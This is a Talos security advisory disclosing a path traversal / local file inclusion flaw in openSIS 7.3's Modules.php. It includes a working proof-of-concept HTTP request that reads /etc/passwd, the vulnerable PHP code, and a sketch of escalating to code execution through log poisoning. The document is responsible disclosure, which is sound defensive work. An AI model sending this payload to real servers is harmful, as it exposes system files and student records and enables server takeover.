Talos Vulnerability Report

TALOS-2020-1082

OS4Ed openSIS Modules.php remote code execution vulnerability

AUGUST 31, 2020

CVE NUMBER

CVE-2020-6142

Summary

A remote code execution vulnerability exists in the Modules.php functionality of OS4Ed openSIS 7.3. A specially crafted HTTP request can cause local file inclusion. An attacker can send an HTTP request to trigger this vulnerability.

Tested Versions

OS4Ed openSIS 7.3

Product URLs

https://opensis.com/

CVSSv3 Score

9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Details

openSIS is a student information system and school management system. It is available in commercial and open-source versions. It allows schools to create schedules and track attendance, grades and transcripts.

A local file inclusion vulnerability was discovered in the 'modname' parameter in the '/Modules.php' page of OpenSIS 7.3. This vulnerability can be exploited to include arbitrary files via directory traversal sequences and subsequently disclose contents of arbitrary files or even execute remote PHP code.

The following request is a Proof-of-Concept for retrieving /etc/passwd file form remote system.

```
POST /opensis/Modules.php?
modname=grades%2fReportCards.php..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&modfunc=&search
_modfunc=list&next_modname=grades/ReportCards.php HTTP/1.1
Host: [IP]
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://[IP]/opensis6/opensis/Modules.php?modname=miscellaneous/Portal.php&failed_login=0
Cookie: dhtmlgoodies_tab_menu_tabIndex=index%3A%205; PHPSESSID=6chg16qcanbg3adrqlq6sm6fa3
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 522

last=a&first=&stuid=&altid=&addr=&grade=&gpa_low=&gpa_high=&cgpa_low=&cgpa_high=&class_rank_term=CUM&class_rank_low=&class_rank_high=&sql_sa
ve_session=true&mp_comment=&day_from_birthdate=&month_from_birthdate=&day_to_birthdate=&month_to_birthdate=&goal_title=&goal_description=&pr
ogress_name=&progress_description=&med_day=&med_month=&med_year=&doctors_note_comments=&type=&imm_day=&imm_month=&imm_year=&imm_comments=&ma
_day=&ma_month=&ma_year=&med_alrt_title=&nv_day=&nv_month=&nv_year=&reason=&result=&med_vist_comments=
```

Below is the vulnerable code in `Modules.php` where specific a query with `modname` parameter will lead to local file inclusion at line 989:

```
 980         $allowed = true;
 981     if (substr(optional_param('modname', '', PARAM_NOTAGS), 0, 14) == 'miscellaneous/' || substr(optional_param('modname', '',
PARAM_NOTAGS), 0, 7) == 'grades/')
 982         $allowed = true;
 983     if (optional_param('modname', '', PARAM_NOTAGS) == 'messaging/AddMember.php')
 984         $allowed = true;
 985     if ($allowed || $_SESSION['take_mssn_attn']) {
 986
 987         if (Preferences('SEARCH') != 'Y' && substr(clean_param($modname, PARAM_NOTAGS), 0, 6) != 'users/')
 988             $_REQUEST['search_modfunc'] = 'list';
 989         include('modules/' . $modname);
 990     }
```

The request can be done either by including grades or miscellaneous as directory name for the request.

If an attacker can write PHP code somewhere in a file on the file system they can also cause remote code execution. An example would be to connect to the HTTP server and enter PHP code as a request and subsequently including the access.log file.

Timeline

2020-06-02 - Vendor Disclosure
2020-08-13 - Vendor provided patch to Talos for testing
2020-08-17 - Talos confirmed patch resolved issue
2020-08-31 - Public Release

CREDIT

Discovered by Yuri Kramarz of Cisco Talos.
